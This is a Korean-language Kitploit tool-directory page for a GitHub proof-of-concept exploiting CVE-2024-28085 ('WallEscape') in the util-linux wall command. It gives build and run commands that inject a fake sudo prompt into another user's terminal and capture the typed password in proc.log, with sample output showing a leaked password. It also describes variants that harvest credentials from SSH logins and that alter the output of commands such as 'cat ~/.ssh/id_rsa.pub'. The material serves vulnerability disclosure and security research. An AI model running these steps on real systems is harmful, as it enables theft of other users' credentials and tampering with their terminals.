Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2024-28085 — util-linux의 WallEscape 취약점 | Kitploit
도구/GitHubGitHub/skyler-ferrante/cve-2024-28085
Privilege EscalationPassword AttacksExploitationPost-ExploitationSocial EngineeringRed Teaming
GitHubskyler-ferrante/cve-2024-28085

CVE-2024-28085

util-linux의 WallEscape 취약점

저장소 보기
5682년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
웹사이트

Wall-Escape (CVE-2024-28085)

util-linux wall 명령어는 명령줄 인자의 이스케이프 시퀀스를 필터링하지 않습니다. 취약한 코드는 cdd3cc7fa4 (2013) 커밋에서 도입되었습니다. 이후 모든 버전이 취약합니다. 전체 보고서는 여기에서 확인할 수 있습니다. 저는 이 버그를 "WallEscape"라고 명명했습니다.

이 익스플로잇 코드는 기본 구성의 Ubuntu 22.04에서 비밀번호를 유출하는 데 성공했습니다.

Configure

throw.c에서 배경색과 사용자 이름이 적절한 값으로 설정되어 있는지 확인하세요.

Build and run

공격 설정

root@kitploit:~
git clone https://github.com/skyler-ferrante/CVE-2024-28085.git
./build.sh
./spy > proc.log & ./watch "sudo systemctl start apache2"; ./watch "systemctl start apache2"; sleep .01; ./throw

저는 출력이 많지 않고 짧게 실행되는 sudo systemctl start apache2를 사용했습니다. 익스플로잇이 실행된 후에는 spy를 종료해야 합니다: pkill spy.

그런 다음 다른 터미널에서

root@kitploit:~
sudo su
sudo systemctl start apache2

시스템에 따라, 그리고 로컬로 접근하는지 SSH를 통해서인지에 따라 피해자가 su를 호출하지 않아도 될 수 있습니다.

이렇게 하면 피해자 터미널에 가짜 sudo 프롬프트가 나타납니다. 많은 시스템에서 찾을 수 없는 명령어를 유출하기 때문에, 피해자의 비밀번호가 proc.log에 나타날 수 있습니다.

proc.log 예시

root@kitploit:~
sudo systemctl start apache2
systemctl start apache2
./throw
bash
/usr/bin/python3 /usr/lib/command-not-found -- Password123!
/usr/bin/snap advise-snap --format=json --command Password123!

Note

어떤 시나리오에서 이 공격이 다른 사용자를 공격하는 데 사용될 수 있는지 오해하는 사람들이 있습니다. 우리는 sudo를 공격할 필요가 없으며, 사용자가 비밀번호를 입력하는 모든 곳을 공격할 수 있습니다. 제 시스템에서는 사용자가 OpenSSH로 로그인한 후 /usr/bin/env -i PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin run-parts --lsbsysinit /etc/update-motd.d > /run/motd.dynamic.new 명령어가 실행됩니다.

Openssh 사용자의 비밀번호를 유출하려면 다음을 실행한다고 상상해 보세요:

root@kitploit:~
./watch "sh -c /usr/bin/env -i PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin run-parts --lsbsysinit /etc/update-motd.d > /run/motd.dynamic.new"; sleep 1; ./throw

그런 다음 사용자가 SSH를 통해 올바르게 로그인한 후 "비밀번호가 올바르지 않음" 메시지를 보낼 수 있습니다. sudo는 제가 데모로 선택한 명령어일 뿐이며, 가능한 타깃은 많습니다. 공격자가 자격 증명 수집기를 설정하여 SSH로 로그인하는 모든 사용자의 자격 증명을 수집하는 시나리오를 상상하는 것은 어렵지 않습니다. 이는 www-data와 같은 가장 권한이 없는 사용자에게도 가능합니다.

이 취약점은 또한 공격자에게 모든 명령어의 출력을 변경할 수 있는 능력을 제공합니다. cat ~/.ssh/id_rsa.pub" 명령어를 기다린다고 상상해 보세요. 공격자는 사용자가 공개 키로 복사하는 내용을 변경할 수 있습니다. 이러한 공격 방식에서는 찾을 수 없는 명령어에 대한 유출 프리미티브가 필요하지 않습니다.

도구 다운로드